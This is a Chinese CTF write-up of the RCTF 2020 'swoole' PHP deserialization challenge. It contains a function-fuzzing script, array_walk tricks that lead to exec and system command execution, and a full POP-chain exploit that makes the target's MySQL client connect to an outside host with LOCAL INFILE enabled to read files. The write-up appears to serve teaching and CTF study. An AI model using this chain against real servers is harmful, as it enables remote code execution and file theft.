0%

rctf-2020-swoole-writeup

上周末打了由ROIS举办的RCTF2020,zsx出了道php 反序列化的签到题-swoole(一下午出完了),然而我肝了两天,但是没有做出来。

这道题和以往找thinkphp的pop gadget不太一样,以往的难度是php文件数量多,方法多,硬着头皮找基本都能找到能够可控的参数。(上述类型的机械劳动应该能用程序搞定,codeql快支持全世界最好的语言呀,或者用AST自己撸一个,甚至有篇paper专门研究了如何自动找gadget)(此处挖坑加一)

这次php文件不太多,但是构造的角度还是非常巧妙的。但是我思路不够开阔,没能把两部分联系起来。

但是真正的强者wupco,还是搞出了RCE。

我觉得这个题目可以作为面试题目:谈谈你印象最深的一道CTF题目?的候选答案。

总结

  • array_walk 第一个参数可以是$object
  • php自定义函数的参数数量可以多传但是不能少传
  • 可以把s 换成S 然后\x00 换成\00
  • 反序列化也可以通过外带的方式读文件(比如curl上传文件,mysql客户端读文件)
  • 可以通过反射修改对象的属性

题目介绍

题目直接给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env php
<?php
Swoole\Runtime::enableCoroutine($flags = SWOOLE_HOOK_ALL);
$http = new Swoole\Http\Server("0.0.0.0", 9501);
$http->on("request",
function (Swoole\Http\Request $request, Swoole\Http\Response $response) {
Swoole\Runtime::enableCoroutine();
$response->header('Content-Type', 'text/plain');
// $response->sendfile('/flag');
if (isset($request->get['phpinfo'])) {
// Prevent racing condition
// ob_start();phpinfo();
// return $response->end(ob_get_clean());
return $response->sendfile('phpinfo.txt');
}
if (isset($request->get['code'])) {
try {
$code = $request->get['code'];
if (!preg_match('/\x00/', $code)) {
$a = unserialize($code);
$a();
$a = null;
}
} catch (\Throwable $e) {
var_dump($code);
var_dump($e->getMessage());
// do nothing
}
return $response->end('Done');
}
$response->sendfile(__FILE__);
}
);
$http->start();

代码非常简短,而且给了phpinfo和flag的位置。通过查看phpinfo发现swoole对应的版本是4.4.18。swoole是个扩展,然后还有个library有php代码。

分析

FBI警告 下面的分析有部分是在做题的时候真正分析的,有的是看了writeup之后分析的(这部分可能有种事后诸葛亮的感觉)

绕过\x00的前一段时间刚在P神的小密圈见到,就是将s换成S\x00 换成 \00 就行了。这个绕过不是重点。

直接将传的$code 进行了反序列化,然后直接执行了$a() 。直接调用对象会触发__invoke() 这个魔术方法。在library里面搜索__invoke 能够找到一处。

image-20200601161531170

这里我们可以发现,__object 是可控的,也就是$object 是可控的但是...$arguments 是空的。到这一步我们有能力调用一次$func()。根据 https://www.php.net/manual/zh/functions.variable-functions.php $func 可以是

  • 字符串,比如$x='phpinfo';$x();
  • 可以是个数组
    • 可以调用静态方法,比如["A", "static_method"]
    • 也可以调用一个对象的方法,比如[$obj, "method"] , 如果传[$obj, "setatic_method"] 也是可以调用静态方法的。
  • 还可以是个闭包函数
    • $f = function () {echo 2333;}; $f();
    • $f = create_function('', 'echo 2333;');$f();

比较遗憾的是闭包函数不支持序列化和反序列化。

对第一种情况进行序列化,显示出PHP Warning: Uncaught Exception: Serialization of 'Closure' is not allowed

create_function 创造出的匿名函数是有函数名的\x00lambda_02 但是这个也没在服务器那边创建,所以也不能用。

如果只传一个字符串,干不了啥事,连phpinfo都显示不出来,执行了phpinfo只会在控制台显示,不会在响应里面显示。

所以我们貌似只剩下了一种选择,传个数组[$obj, "method"], 唯一的限制是没有参数。其实我这里思维狭隘了,以为得有__invoke 才行,不是这样的,如果$code直接反序列化出来的是一个数组,然后再执行,也是可以的。这两者的效果是一样的,但是我用__invoke 多了一步。

根据上面的分析,下一步就是搜索不带参数的函数。

public function \S+\(\)

image-20200601170323090

有100多个,通过一个个筛查,排除不调用其他函数的,找到了这么几个有用的。

  • ConnectionPool.php

    • fill()
    • get()
  • Server.php

    • start()
  • Handler.php

    • exec()
  • PDOProxy.php

    • reconnect()

上面可能会漏掉,可变参数...$arg 这种形式。

所以再搜索一次public function \S+\(.*\.\.\.\$\S+\) 这样的没有

还得再搜一次__call

1
2
3
4
public function __call(string $name, array $arguments)
{
return $this->__object->{$name}(...$arguments);
}

大部分的__call 是这种形式的。

如果调用$obj->xxx() 会转化成$this->__object->xxx() 回去找$this->__object 这个对象有没有xxx 这个方法,而不是找它的xxx属性,如果是用属性当做函数名得这样写:($this->__object->{$name})(...$arguments);

__call方法的类有

  • PDOProxy
  • MysqliProxy
  • MysqliStatementProxy
  • PDOStatementProxy

刚开始看的是Handler.php 实现了CURL,又给出了flag的位置,本来打算看能不能利用它进行文件上传。

控制上传的地方有两处

image-20200601180011783

image-20200601180048712

第一个需要传的$this->infile 是个resource 类型的不支持反序列列化。第二个CURLFile 也不支持反序列化。然后又试了直接传xxx=@/flag 也不行。文件上传至此就夭折了。

继续看handler.php 发现有两个可控函数headFunctionreadFunction

RCE

image-20200601181004750

image-20200601181034374

但是第一个参数是个object,当时没找到一个函数能够这样搞,只能想到一个create_function 但是要求第一个参数是字符串,而且这个字符串也有要求得是'', $x,$y 这种。但是这个$this没有toString的方法 。 然后就凉了,这个有办法搞吗?确实有办法搞,wupco就是找到了一个函数。不清楚他是怎么找的,我能不能Fuzz一下呢。

fuzz 脚本

9test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
class A{
private $client;

private $info = [
'url' => '',
'content_type' => '',
'http_code' => 0,
'header_size' => 0,
'request_size' => 0,
'filetime' => -1,
'ssl_verify_result' => 0,
'redirect_count' => 0,
'total_time' => 5.3E-5,
'namelookup_time' => 0.0,
'connect_time' => 0.0,
'pretransfer_time' => 0.0,
'size_upload' => 0.0,
'size_download' => 0.0,
'speed_download' => 0.0,
'speed_upload' => 0.0,
'download_content_length' => -1.0,
'upload_content_length' => -1.0,
'starttransfer_time' => 0.0,
'redirect_time' => 0.0,
'redirect_url' => '',
'primary_ip' => '',
'certinfo' => [],
'primary_port' => 0,
'local_ip' => '',
'local_port' => 0,
'http_version' => 0,
'protocol' => 0,
'ssl_verifyresult' => 0,
'scheme' => '',
];

private $withHeaderOut = false;

private $withFileTime = false;

private $urlInfo;

private $postData;

private $infile;

private $infileSize = PHP_INT_MAX;

private $outputStream;

private $proxyType;

private $proxy;

private $proxyPort = 1080;

private $proxyUsername;

private $proxyPassword;

private $clientOptions = [];

private $followLocation = false;

private $autoReferer = false;

private $maxRedirects;

private $withHeader = false;

private $nobody = false;

/** @var callable */
private $headerFunction;

/** @var callable */
private $readFunction;

/** @var callable */
private $writeFunction;

/** @var callable */
private $progressFunction;

private $returnTransfer = false;

private $method = '';

private $headers = [];

private $transfer;

private $errCode = 0;

private $errMsg = '';

private $failOnError = false;

private $closed = false;
function fuzz(){
$funcs = get_defined_functions()['internal'];
//$length = count($funcs);
//echo($length);
echo $funcs[%d];
$funcs[%d]($this, "123444", 1234);
}
}

$a = new A();
$a->fuzz();

fuzz.py

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
import subprocess
import re
with open("9test.php") as f:
php = f.read()
for i in range(1703):
tmp = php%(i,i)
res = subprocess.run(['php', "-r", tmp], capture_output=True)
stdout = res.stdout
stderr = res.stderr
if not re.search(b"expects exactly|expects at most|expects at least|to be resource|parameter 1 to be|Object of class A could not be converted to string", stderr):
print(stdout)
print(stderr)

下面是fuzz脚本跑出来的结果

在去掉参数数目和类型不对后,然后在400多行里面筛选出了这些

PHP Warning: preg_replace_callback(): Requires argument 2, ‘123444’, to be a valid callback

PHP Warning: mb_ereg_replace_callback() expects parameter 2 to be a valid callback

PHP Warning: array_walk() expects parameter 2 to be a valid callback, function ‘123444’ not found

PHP Warning: array_walk_recursive() expects parameter 2 to be a valid callback, function ‘123444’ not found

PHP Warning: array_intersect_ukey() expects parameter 3 to be a valid callback

PHP Warning: array_uintersect() expects parameter 3 to be a valid callback

PHP Warning:array_uintersect_assoc() expects parameter 3 to be a valid callback

PHP Warning: array_uintersect_assoc() expects parameter 3 to be a valid callback

PHP Warning: array_intersect_uassoc() expects parameter 3 to be a valid callback

PHP Warning: array_diff_ukey() expects parameter 3 to be a valid callback

PHP Warning: array_udiff() expects parameter 3 to be a valid callback

PHP Warning: array_udiff_assoc() expects parameter 3 to be a valid callback

PHP Warning: array_diff_uassoc() expects parameter 3 to be a valid callback

我们只能控制第二个参数,所以着重检查了preg_replace_callback , mb_ereg_replace_callback, array_walk(), array_walk_recursive()

  • preg_replace_callbackmb_ereg_replace_callback 不行 第一个参数要能转换成string

    • PHP Catchable fatal error: Object of class A could not be converted to string

  • array_walk

    • array_walk($this, "system", 1234);

      • PHP Warning: system() expects at most 2 parameters, 3 given

      • 貌似只是因为参数数目不对,查看array_walk 文档

        典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个

        如果提供了可选参数 userdata,将被作为第三个参数传递给 callback funcname

        如果 callback 函数需要的参数比给出的多,则每次 array_walk() 调用 callback 时都会产生一个 E_WARNING 级的错误

        这里虽然传的是数组,但是可能array_walk把object的变量名当成了key,变量值当成了value。

找个能够执行函数,并且是三个参数的,可以去翻文档,或者再fuzz一波,这里选择翻文档,可以找到

exec ( string $command [, array &$output [, int &$return_var ]] ) : string

所以换成

array_walk($this, "exec", 1234);

PHP Warning: exec(): Cannot execute a blank command

这表示有变量没有值,导致传的是空命令,我们做一个小验证

1
2
3
4
5
6
7
8
9
10
<?php
class A{
public $hh = "curl 127.0.0.1:8890";

function run(){
array_walk($this, "exec", 123);
}
}
$a = new A();
$a->run();

是能够执行的。

你以为到这里就结束了,我本来以为到这里就结束了,但是看writeup 发现用了两次array_walk 这是为啥呢?

好像由于命名空间的问题,在这里进行了hook,https://github.com/swoole/swoole-src/blob/f1a66611d8779114afbb0638d18c528689194ac8/swoole_runtime.cc#L1270 调用exec实际调的是swoole_exec 如果一个不成功,他产生的不是warning,而是fatal error 就不往下执行了。

不知道array_walk 第一个遍历的是啥,看了一下顺序貌似是变量定义的顺序。也许我们在反序列化的时候将要执行的变量放到第一个就能执行了。试试。不行,是根据定义的时候的顺序决定的。Handler 第一个变量是clinet 不能随便赋值成要执行的命令,后面会用到他。所以还得想个办法让他能够遍历到我们控制的那个属性。wupco是再次利用array_walk

1
array_walk($this, array_walk, 123);

遇到第一个属性client的时候

array_walk($client_obj, “client”, 123); 由于client这个callback不存在,只会产生

PHP Warning: array_walk() expects parameter 2 to be a valid callback, function ‘client’ not found

如果遇到了某个属性的值不是Array或不是object 就会报

PHP Warning: array_walk() expects parameter 1 to be array

这两种warning都不影响继续运行下去。

他在给对象额外设置了一个

1
$this->exec = array("whoami")

当遍历到这个属性的时候会调用

1
array_walk(array("whoami"), "exec", 123)

然后出发

1
exec("whoami",0,123)

就执行了whoami

能不能用system呢?也是可以的,可以用call_user_func 来助攻, 他的参数数量没有限制。

1
2
3
4
5
6
7
8
9
class B{
public $whoami = "system";
public $h = "system";
function __construct(){
$hh = "ls -al";
$this->${hh} = "system";
}
}
array_walk(new B(), "call_user_func", 123);

会变成调用

1
call_user_func("system", "whoami", 123);

最后一步调用

1
system("whoami", 123);

哦,看起来好像也可以,本地执行也可以,然后和wupco交流的时候,他发现他那边不行,我觉得可能是php版本的问题,然后在php7.4.6上面跑了一下没有空格的能执行成功,但是有空格的那个ls -al 竟然 segment fault 了。

image-20200602095531988

然后就夭折了。

出错的地方不是在赋值那里,是在array_walk 那句出现了问题,后面涉及到了php 源码啥的,目前还不会就跟不动了。wupco调了一下core dump 给了我一个函数名zend_verify_ref_assignable_zval

我看了一下php-src 也没看太懂是为啥。这个就到这里吧。

那么到底能不能执行system呢?

xxxx($value, $key, xxxx)

可控的是$value$key 而且key不能有空格,所以还是最好$key 来当callback$value 来当参数。

所以我们的目标是找一个函数第二个参数是callback, 并且能接受三个参数的。好像又会到了最初的起点。所以可以用array_walk。 但是这次条件比上次宽了一点,第一个$value 参数的类型我们可以控制,array的回调函数有很多,这里我选择去翻了文档。找到了一个

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

1
2
3
4
5
6
7
<?php
class B{
public $whoami = "system";
public $h = "system";
public $system = array("ls -al");
}
array_walk(new B(), "array_filter", 123);

终于能执行system

预期做法

感觉预期做法也很巧妙。上面也提到了题目给出了flag的位置,我只想到了可能利用curl上传文件。直到放出hint,给了个github

的issue。https://github.com/swoole/library/issues/34

看到这个issue 恍然大悟,也可以用mysql 客户端读文件,而且可以设置一些options, 根据文档,设置https://www.php.net/manual/zh/mysqli.options.php

MYSQLI_OPT_LOCAL_INFILE 启用或禁用 LOAD LOCAL INFILE 语句

MYSQLI_INIT_COMMAND 成功建立 MySQL 连接之后要执行的 SQL 语句

但是有个限制

mysqli_options() 需要在 mysqli_init() 函数之后、 mysqli_real_connect() 函数之前被调用

当时审的代码是最新的代码,那里面的mysqli已经按照zsx提的issue改过来了。

通过审计上述列出的无参函数,可以在connectionpool中 发现下面的代码。

connectionpool.php

1
2
3
4
5
6
7
8
9
10
public function get()
{
if ($this->pool === null) {
throw new RuntimeException('Pool has been closed');
}
if ($this->pool->isEmpty() && $this->num < $this->size) {
$this->make();
}
return $this->pool->pop();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function make(): void
{
$this->num++;
try {
if ($this->proxy) {
$connection = new $this->proxy($this->constructor);
} else {
$constructor = $this->constructor;
$connection = $constructor();
}
} catch (Throwable $throwable) {
$this->num--;
throw $throwable;
}
$this->put($connection);
}

在make方法里面有个new可以控制class name 和 参数。所以我们可以通过调用connectionpool的get方法得到一个new生成的对象

再去找__construct

mysqlipool.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct(MysqliConfig $config, int $size = self::DEFAULT_SIZE)
{
$this->config = $config;
parent::__construct(function () {
$mysqli = new mysqli();
foreach ($this->config->getOptions() as $option => $value) {
$mysqli->set_opt($option, $value);
}
$mysqli->real_connect(
$this->config->getHost(),
$this->config->getUsername(),
$this->config->getPassword(),
$this->config->getDbname(),
$this->config->getPort(),
$this->config->getUnixSocket()
);
if ($mysqli->connect_errno) {
throw new MysqliException($mysqli->connect_errno, $mysqli->connect_errno);
}
return $mysqli;
}, $size, MysqliProxy::class);
}

这是mysqlipool 的构造函数。但是题目对应的是4.4.18 还没有按照zsx的改过来。当时想当然以为zsx自己改过来了

所以我们可以找一条链,通过调用connectionpool的get方法,new一个mysqlipool 出来。当时以为这样就是万事大吉了。

但是再仔细一看,mysqli的构造函数只是生成了一个回调函数,当真正有方法调用的时候才会调用那个回调函数,去连mysql服务器。

去跟一下mysqlipool 的parent 也就是connectionpool构造方法

1
2
3
4
5
6
7
public function __construct(callable $constructor, int $size = self::DEFAULT_SIZE, ?string $proxy = null)
{
$this->pool = new Channel($this->size = $size);
$this->constructor = $constructor;
$this->num = 0;
$this->proxy = $proxy;
}

只是进行了赋值,也没有执行传进去的回调函数。

想找个方法能$obj->get()->get()

又审了其他无参的函数。

mysqliproxy__call 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function __call(string $name, array $arguments)
{
for ($n = 3; $n--;) {
$ret = @$this->__object->{$name}(...$arguments);
if ($ret === false) {
/* non-IO method */
if (!preg_match(static::IO_METHOD_REGEX, $name)) {
break;
}
/* no more chances or non-IO failures */
if (
!in_array($this->__object->errno, static::IO_ERRORS, true) ||
$n === 0
) {
throw new MysqliException($this->__object->error, $this->__object->errno);
}
$this->reconnect();
continue;
}
if (strcasecmp($name, 'prepare') === 0) {
$ret = new MysqliStatementProxy($ret, $arguments[0], $this);
} elseif (strcasecmp($name, 'stmt_init') === 0) {
$ret = new MysqliStatementProxy($ret, null, $this);
}
break;
}

以及 reconnect 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function reconnect(): void
{
$constructor = $this->constructor;
parent::__construct($constructor());
$this->round++;
/* restore context */
if ($this->charsetContext) {
$this->__object->set_charset($this->charsetContext);
}
if ($this->setOptContext) {
foreach ($this->setOptContext as $opt => $val) {
$this->__object->set_opt($opt, $val);
}
}
if ($this->changeUserContext) {
$this->__object->change_user(...$this->changeUserContext);
}
}

parent::__construct($constructor()); 这步会对$this->__object 进行重新赋值。

所以一条链浮现在了眼前

调用mysqliproxyget 方法,get 方法不存在,然后调用__call

有三次调用$ret = @$this->__object->{$name}(...$arguments);

通过控制第一次的$ret = @$this->__object->get(...$arguments); 返回false,然后调用reconnect$this->__object 进行重新赋值($this->construct 可以为[connectionpool, 'get'] ),执行完reconnect $this->object 就会变成new mysqlipool($config)

这样就再次来到$ret = @$this->__object->get(...$arguments); 就会触发。

看到这里已经开始窃喜了,但是冷静下来一看不对呀, (!preg_match(static::IO_METHOD_REGEX, $name)) 这里对方法名进行了检查,而且是静态变量,不能通过反序列化进行修改。

搞到这里就有点黔驴技穷了。

那么到底如何触发$obj->get()->get() 呢?

看了writeup 才恍然大悟。还记得handler.php 里面的两个函数吗?headerFunctionreadFunction

image-20200602160316294

首先你需要知道自定义函数的参数能多传,不能少传

1
2
3
4
5
<?php
function xx($cmd){
echo $cmd;
}
xx(1,2,3);

这个是能执行的。

虽然圈出来的都有参数,但是我们调用这种[$obj,'xxxx']('xx', 'xxx')$obj.xxxx 是无参函数) 这种也是可以的。

下面的$objmysqliproxy 对象

控制headerFunction[$obj, "reconnect"] 会对__object 赋值为new mysqlipool

再控制readerFunctioin[$obj, "get"] 但是由于没有mysqliproxy 没有get 方法就会调用__call

就会调用

$ret = @$this->__object->get(...$arguments) 这样就触发了。

这里还有个地方connectionpool里面的$this->pool 用的是chanle 这个不支持反序列化,需要找个替代,这里可以用ArrayObject 代替因为他对应的方法也都有,zsx用的是SplDoublyLinkedList 这是php自带的一个。

EXP

上面的分析是基于mysqli,下面的exp也是基于mysqli的,虽然在题目中不能用,但是可以用在最新的swoole。

反序列化的构造payload以前都是把类单独摘出来,然后往里面塞参数。看了zsx的writeup又学到了一种,可以在目标环境中生成类,然后通过反射修改属性,这样可能更方便一点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
<?php
namespace Swoole{
class ObjectProxy{
protected $__object;
public function __construct($obj){
$this->__object = $obj;
}
}
class ConnectionPool
{
public const DEFAULT_SIZE = 64;
/** @var Channel */
protected $pool;
/** @var callable */
protected $constructor;
/** @var int */
protected $size = 100;
/** @var int */
protected $num = 0;
/** @var null|string */
protected $proxy;
function __construct($constructor,$pool){
$this->constructor = $constructor;
$this->proxy = "Swoole\Database\MysqliPool";
$this->pool = $pool;
}
}

use Serializable;
class ArrayObject implements Serializable{
protected $array = [];
public function serialize(){
return serialize($this->array);
}
public function unserialize($string){
$this->array = unserialize($string);
return $this;
}
}
}

namespace Swoole\Curl{
final class Handler{
private $client;

private $info = [
'url' => '',
'content_type' => '',
'http_code' => 0,
'header_size' => 0,
'request_size' => 0,
'filetime' => -1,
'ssl_verify_result' => 0,
'redirect_count' => 0,
'total_time' => 5.3E-5,
'namelookup_time' => 0.0,
'connect_time' => 0.0,
'pretransfer_time' => 0.0,
'size_upload' => 0.0,
'size_download' => 0.0,
'speed_download' => 0.0,
'speed_upload' => 0.0,
'download_content_length' => -1.0,
'upload_content_length' => -1.0,
'starttransfer_time' => 0.0,
'redirect_time' => 0.0,
'redirect_url' => '',
'primary_ip' => '',
'certinfo' => [],
'primary_port' => 0,
'local_ip' => '',
'local_port' => 0,
'http_version' => 0,
'protocol' => 0,
'ssl_verifyresult' => 0,
'scheme' => '',
];

private $withHeaderOut = false;

private $withFileTime = false;

private $urlInfo;

private $postData;

private $infile;

private $infileSize = PHP_INT_MAX;

private $outputStream;

private $proxyType;

private $proxy;

private $proxyPort = 1080;

private $proxyUsername;

private $proxyPassword;

private $clientOptions = [];

private $followLocation = false;

private $autoReferer = false;

private $maxRedirects;

private $withHeader = false;

private $nobody = false;

/** @var callable */
private $headerFunction;

/** @var callable */
private $readFunction;

/** @var callable */
private $writeFunction;

/** @var callable */
private $progressFunction;

private $returnTransfer = false;

private $method = '';

private $headers = [];

private $transfer;

private $errCode = 0;

private $errMsg = '';

private $failOnError = false;

private $closed = false;

function __construct($fuc1, $func2){
$this->headerFunction = $fuc1;
$this->readFunction = $func2;
$this->closed = FALSE;
$this->urlInfo = array("host"=>"202.112.28.106","port"=>8030,"scheme"=>"http");
}
}
}

namespace Swoole\Database{
class MysqliProxy{
/** @var mysqli */
protected $__object;
/** @var callable */
protected $constructor;
function __construct($constructor){
$this->constructor = $constructor;
}
}
class MysqliConfig
{
/** @var string */
protected $host = '202.112.28.106';

/** @var int */
protected $port = 3306;

/** @var null|string */
protected $unixSocket = '';

/** @var string */
protected $dbname = 'test';

/** @var string */
protected $charset = 'utf8mb4';

/** @var string */
protected $username = 'root';

/** @var string */
protected $password = 'root';

/** @var array */
protected $options = Array(MYSQLI_OPT_LOCAL_INFILE=>True,MYSQLI_INIT_COMMAND=>"select 1;");
}
}

namespace{
$mysqliconfig = new Swoole\Database\MysqliConfig();
$pool = new Swoole\ArrayObject();
// $pool = new SplDoublyLinkedList();
$connectionpool = new Swoole\ConnectionPool($mysqliconfig, $pool);
$mysqliproxy = new Swoole\Database\MysqliProxy([$connectionpool, "get"]);
$handler = new Swoole\Curl\Handler([$mysqliproxy, "reconnect"],[$mysqliproxy,"get"]);
$s = serialize([$handler,"exec"]);
echo base64_encode($s);
}

在构造上面exp的时候遇见了几个坑

  1. port 要设置成整数,这个通过报错容易发现

  2. ArrayObject 不能直接写成

    1
    2
    3
    class ArrayObject{
    protected $array = [];
    }

    这是上面序列化的结果O:18:"Swoole\ArrayObject":1:{s:8:"\00*\00array";a:0:{}}

    这个才是真正的序列化的结果

    C:18:"Swoole\ArrayObject":6:{a:0:{}}

    而且在凑这个的时候发下了他的一个bug

    如果返回除了字符串或 NULL 之外的其他类型,将抛出 Exception

    代码里面强行返回了一个SpringObject,会导致在序列化的时候出现

    Fatal error: Uncaught Exception: Swoole\ArrayObject::serialize() must return a string or NULL

  3. size的值要设置的大一些, 因为有for循环会多次调用num值会变大,如果num值大于了size就会pop空,找这个问题在哪,找的我怀疑狗生。

    1
    2
    3
    4
    #0 @swoole-src/library/core/Database/MysqliProxy.php(88): Swoole\ObjectProxy->__construct(NULL)
    #1 @swoole-src/library/core/Curl/Handler.php(759): Swoole\Database\MysqliProxy->reconnect(Object(Swoole\Curl\Handler), 'server: SimpleH...')
    #2 @swoole-src/library/core/Curl/Handler.php(156): Swoole\Curl\Handler->execute()
    #3 /app/server.php(38): Swoole\Curl\Handler->exec()

另外在构造的时候忽然想到

[$mysqliproxy, 'reconnect'][$mysqliproxy, 'get'] 中的$mysqliproxy 反序列化的时候会不会被序列化成两个不同的对象,如果被反序列化成了两个不同的对象就GG了。用下面的程序模拟了一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class B{
public $h = "haha";
}
class A{
public $c = "x";
function __construct($f1, $f2){
$this->f1 = $f1;
$this->f2 = $f2;
}
}
$b = new B();
$a = new A($b, $b);
$b = serialize($a);
echo $b;

输出是

1
O:1:"A":3:{s:1:"c";s:1:"x";s:2:"f1";O:1:"B":1:{s:1:"h";s:4:"haha";}s:2:"f2";r:3;}

后来查到了这个 http://www.phpinternalsbook.com/php5/classes_objects/serialization.html

As objects in PHP exhibit a reference-like behavior serialize also makes sure that the same object occurring twice will really be the same object on unserialization

参考链接